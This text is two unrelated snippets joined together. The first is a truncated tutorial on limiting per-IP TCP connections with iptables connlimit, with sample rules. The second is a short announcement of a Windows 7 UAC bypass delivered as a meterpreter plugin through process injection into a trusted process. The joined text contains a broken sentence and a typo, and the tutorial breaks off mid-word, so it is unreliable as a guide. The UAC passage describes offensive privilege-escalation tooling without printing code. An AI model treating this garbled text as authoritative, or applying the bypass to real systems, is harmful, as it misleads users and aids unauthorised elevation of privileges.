You need to use the iptables connlimit module which allows you to restrict the number of parallel TCP connections to a server per client IP address (or address block). You can use domain controller to This is useful to protect your server or vps box against flooding, spamming or content scraping. Syntax The syntax is as follows: /sbin/iptables -A INPUT -p tcp --syn --dport $port -m connlimit --connlimit-above N -j REJECT --reject-with tcp-reset # save the changes see iptables-save man page, the following is redhat and friends specific command service iptables save Example: Limit SSH Connections Per IP / Host Only allow 3 ssg connections per client host: /sbin/iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT # save the changes see iptables-save man page, the following is redhat and friends specific co...

Here is a nice new addition to bypass UAC through meterpreter. It all came about when Kevin Mitnick was on a pentest and needed to bypass Windows 7 UAC. We stumbled upon an old post from Leo Davidson (http://www.pretentiousname.com/misc/win7_uac_whitelist2.html) on bypassing Windows UAC. This method takes advantage of process injection that has a trusted Windows Publisher Certificate (example explorer.exe which runs at medium integrity). This is fully functioning on both x86/64 bit platforms. Source code is in the zip along with the meterpreter plugin.
